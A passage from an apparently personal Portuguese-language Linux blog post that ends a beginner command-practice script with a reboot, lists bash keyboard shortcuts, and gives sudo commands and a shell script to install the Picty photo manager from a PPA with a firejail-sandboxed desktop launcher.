pasta1/pasta_em_pasta1/arquivo_pasta_em_pasta1.txt. Se quiser ir para a pasta1 e ver a pasta_em_pasta1 use os comandos: cd pasta1/ e o comando ls" ; echo ; sleep 12 ; mkdir -p pasta1/pasta_em_pasta1 ; touch pasta1/pasta_em_pasta1/arquivo_pasta_em_pasta1.txt ; echo “Estou escrevendo no arquivo arquivo_pasta_em_pasta1.txt usando o comando echo!” > pasta1/pasta_em_pasta1/arquivo_pasta_em_pasta1.txt ; echo ; ls -t ; echo ; sleep 6 ; echo "Como disse antes, se quiser ir para a pasta1/ digite no terminal: cd pasta1/ e depois ls" ; sleep 4 ; echo ; ls -t ; echo ; sleep 4 ; pwd ; sleep 4 ; echo ; echo "6 - Usaremos agora o comando: lsblk, lsblk -a, lsblk -e. Ele, o lsblk, lista informação sobre dispositivos de bloco" ; echo ; sleep 11 ; lsblk ; echo ; sleep 8 ; lsblk -a ; echo ; sleep 8 ; lsblk -b ; echo ; sleep 9 ; echo ; echo "7 - O comando a seguir lista endereços de IP de todos os aparelhos da máquina local. O ifconfig" ; sleep 9 ; ifconfig ; echo ; sleep 9 ; echo ; echo "8 - Este próximo comando diz aonde está localizado determinado programa, o comando: whereis, que tal saber onde está o firefox? whereis firefox" ; sleep 6 ; echo ; whereis firefox ; echo ; sleep 5 ; echo ; echo "9 - Este comando agora vai me dizer o que é determinado programa, por exemplo o vlc. whatis vlc" ; sleep 6 ; echo ; whatis vlc ; echo ; sleep 6 ; echo ; echo "10 - Por fim vamos criar e remover um arquivo usando dois comandos, o comando touch arquivo_teste3.txt e o comando rm arquivo_teste3.txt" ; echo ; sleep 6 ; touch arquivo_teste3.txt ; echo ; ls -t ; echo ; sleep 7 ; pwd ; echo ; sleep 7 ; echo ; rm arquivo_teste3.txt ; echo ; ls -t ; echo ; sleep 6 ; echo "Pronto mais 10 comandos Linux aprendidos. So far so good! By!" ; echo ; sleep 4

echo "Gostaria de reiniciar o sistema? Se não quiser reiniciar o sistema, aperte as teclas Ctrl+c"

sleep 4

echo

echo "Feche todos os aplicativos abertos menos este terminal. Reiniciando o sistema em 12 segundos"

sleep 12

sudo sh -c 'shutdown -r now'

# Fim do script

Ubuntu e Linux Mint instalar Picty gerenciador de fotos via terminal e shellscript

.

Este estudo funcionou para mim. Eu pesquisei e escrevi o script.
Apesar de fazer isto por minha conta e risco, recomendo que faça o mesmo.
.

.

Aproveito e testo uns atalhos novos e antigos de teclado para o terminal bash padrão do Linux:

.

ATALHOS-TECLADO-TERMINAL-BASH-LINUX

Ctrl-C: interrompe comando em execução
Ctrl-D: fecha o terminal
Alt-B: uma palavra para trás
Alt-F: avançar uma palavra
Ctrl-A: cursor ao início de linha
Home: cursor ao início de linha
Ctrl-E: cursor ao fim da linha
End: cursor ao fim da linha
Ctrl-B: Volta um caractere
Ctrl-F: avança um caractere
Ctrl-L: limpa a tela
Ctrl-R: busca comandos já digitados no bash
Ctrl-Y: cola de volta o que foi apagado
Ctrl-Shift-V: colar o texto da área de transferência
Ctrl-Shift-C: copia para área de transferência
TAB: completa comandos nomes de arquivos e diretórios
!! : repete último comando
Ctrl-T: apaga duas letras antes do cursor
Ctrl-H: apaga o caracter anterior ao cursor
Ctrl-U: apaga todos caracteres do cursor para trás
Ctrl-K: apaga caracteres do cursor para frente
Ctrl-W: apaga palavra argumento a esquerda do cursor
Ctrl-K: apaga caracteres do cursor para frente
Ctrl-W: apaga palavra argumento a esquerda do cursor
.

INSTALO, POR MINHA CONTA E RISCO, O PICTY COM O COMANDO ABAIXO:

.

Código:

sudo sh -c 'echo ; uptime ; echo ; sleep 6 ; add-apt-repository ppa:damien-moore/ppa -y ; apt-get update ; apt-get install picty ; apt-get install dcraw totem python-gdata python-flickrapi -y' ; echo ; echo "Até Breve!" ; echo ; sleep 4

.

Esta acima, é a instalação simples via terminal. Mas o meu objetivo é aprender sobre o Bash, sobre comandos e sobre shellscript.

.
Então vou prosseguindo o estudo.
.

O Picty também gerencia metadados de fotos, edições de imagem (cortar, girar, melhorar) são armazenadas nas imagens. Picty pode lidar com mais de 20.000 coleção de fotos, permite que você crie coleção de imagens na unidade local, câmeras, dispositivos móveis, outros dispositivos de mídia e serviços de fotografia baseados na web (atualmente suporta: Flickr).

Pode abrir quantas coleções quiser e transferi-los em qualquer lugar você quiser.

Escreve e lê metadados em formatos padrão: IPTC, Xmp e Exif. Outras características importantes desta aplicação incluem a edição básica de imagens, suporte a múltiplos monitores, tagging de imagens, exibição de pasta e assim por diante.

Tem poderosos recursos de pesquisa e suporta plugins (recursos de interface do usuário como marcação e mapeamento de geolocalização, são fornecidos por plugins).

.

PARA REMOVER O PICTY APAGANDO ELE DO SISTEMA OPERACIONAL:

.
Código:

sudo sh -c 'add-apt-repository ppa:damien-moore/ppa -r -y ; apt-get remove picty -y ; apt-get autoremove -y'

.

CRIO UM LANÇADOR NO DESKTOP PARA O PICTY PROTEGENTO-O COM FIREJAIL

.

Para criar um lançador manualmente no Desktop para o Pict, preciso saber de umas coisas:
.

1
Criar um arquivo (com extensão “.desktop”) e dar permissão de execução para ele.

.

Terminal Terminator aberto na Área de Trabalho:

Código:

touch Picty.desktop

.

2
Dizer que o arquivo é um atalho de desktop (um lançador) é dar poder de execução ao arquivo.

.
Código:

chmod +x Picty.desktop

3
Dizer o tipo de atalho que esse lançador vai ser.
Um nome – é sempre bom, ajuda a identificar o lançador.

Código:

sudo apt install gedit ; gedit Picty.desktop

4
Por fim, o ícone, também é sempre bom colocar, ajuda a identificar os lançadores.

O ícone do Picty fica em usr/share/pixmaps/picty.png

.

DEVO VERIFICAR SE O FIREJAIL ESTÁ INSTALADO:

.

Código:

sudo sh -c 'apt install firejail -y ; apt update'

.

Para criar um lançador mais, ou, menos preciso da informação abaixo:

.

1
[Desktop Entry]

2
Name=picty Photo Manager

3
GenericName=Photo Manager

4
Comment=View and organize your images

5
Categories=GNOME;GTK;Graphics;Viewer;RasterGraphics;2DGraphics;Photography;

6
Exec= firejail picty %U

7
Icon=picty

8
StartupNotify=true

9
Terminal=false

10
Type=Application

11
X-Ubuntu-Gettext-Domain=picty
.

A informação que deve ser colada no arquivo Picty.desktop é esta abaixo:

.

Fica mais ou menos assim:

.

[Desktop Entry]
Name=picty Photo Manager
GenericName=Photo Manager
Comment=View and organize your images
Categories=GNOME;GTK;Graphics;Viewer;RasterGraphics;2DGraphics;Photography;
Exec= firejail picty %U
Icon=picty
StartupNotify=true
Terminal=false
Type=Application
X-Ubuntu-Gettext-Domain=picty
.

Tudo isto pode ser feito pelo terminal, usando os comandos cd, touch, echo com a opção -e , com \n (escreve na linha de baixo), com aspas “, com > e com chmod +x.

.

Crio e escrevo no documento que se chamará Picty.desktop abrindo o terminal na Área de Trabalho e executo:

.

Código:

cd ; cd Área\ de\ Trabalho/ ; touch Picty.desktop ; echo -e "[Desktop Entry]\nName=picty Photo Manager\nGenericName=Photo Manager\nComment=View and organize your images\nCategories=GNOME;GTK;Graphics;Viewer;RasterGraphics;2DGraphics;Photography;\nExec= firejail picty %U\nIcon=picty\nStartupNotify=true\nTerminal=false\nType=Application\nX-Ubuntu-Gettext-Domain=picty > Picty.desktop ; chmod +x Picty.desktop

.
Leio devagar o texto acima para conferir se está tudo certo.
.

Para fazer tudo isto de uma só vez rapidinho, eu uso este comando abaixo:

.

Código:

sudo apt update ; sudo sh -c 'echo ; uptime ; echo ; sleep 6 ; add-apt-repository ppa:damien-moore/ppa -y ; apt-get update ; apt-get install picty ; apt-get install dcraw totem python-gdata python-flickrapi -y ; echo ; echo "Até Breve!" ; echo ; sleep 4' ; cd ; cd Área\ de\ Trabalho/ ; touch Picty.desktop ; echo -e "[Desktop Entry]\nName=picty Photo Manager\nGenericName=Photo Manager\nComment=View and organize your images\nCategories=GNOME;GTK;Graphics;Viewer;RasterGraphics;2DGraphics;Photography;\nExec= firejail picty %U\nIcon=picty\nStartupNotify=true\nTerminal=false\nType=Application\nX-Ubuntu-Gettext-Domain=picty > Picty.desktop ; chmod +x Picty.desktop

.

POSSO CRIAR UM SHELL SCRIPT PARA INSTALAR O PICTY (vou testar este abaixo):

.

Código:

#!/bin/bash

echo
echo

echo “Instalando Picty para gerenciar fotos”

sudo sh -c 'apt update ; apt full-upgrade -y ; apt install -f ; dpkg --configure -a ; update-grub'

sleep 4

echo

echo

echo "Picty, Atualização/Instalação"

echo
echo

sleep 4

sudo sh -c 'add-apt-repository ppa:damien-moore/ppa -y ; apt update ; apt install firejail gedit picty dcraw totem python-gdata python-flickrapi -y'

echo
echo

sleep 4

touch Picty.desktop

echo -e "[Desktop Entry]\nName=picty Photo Manager\nGenericName=Photo Manager\nComment=View and organize your images\nCategories=GNOME;GTK;Graphics;Viewer;RasterGraphics;2DGraphics;Photography;\nExec= firejail picty %U\nIcon=picty\nStartupNotify=true\nTerminal=false\nType=Application\nX-Ubuntu-Gettext-Domain=picty" > Picty.desktop

chmod +x Picty.desktop

sudo sh -c 'apt update ; apt full-upgrade -y ; apt install -f ; dpkg --configure -a ; update-grub'

echo "Picty instalado, até breve"

sleep 4

echo
echo

echo ":)"

sleep 4

exit

# fim do script

.

Para usar o script acima abro um editor de texto copio o script acima desde “#!/bin/bash” até “# fim do script”. Este arquivo de texto está na Área de Trabalho. Salvo com o nome de Picty.sh e dou poder de execução a ele com o comando abaixo:

.
Código:

chmod +x Picty.sh

.

Executo com o comando abaixo:

Código:

./Picty.sh

.

Funciona para mim.

.

Até Breve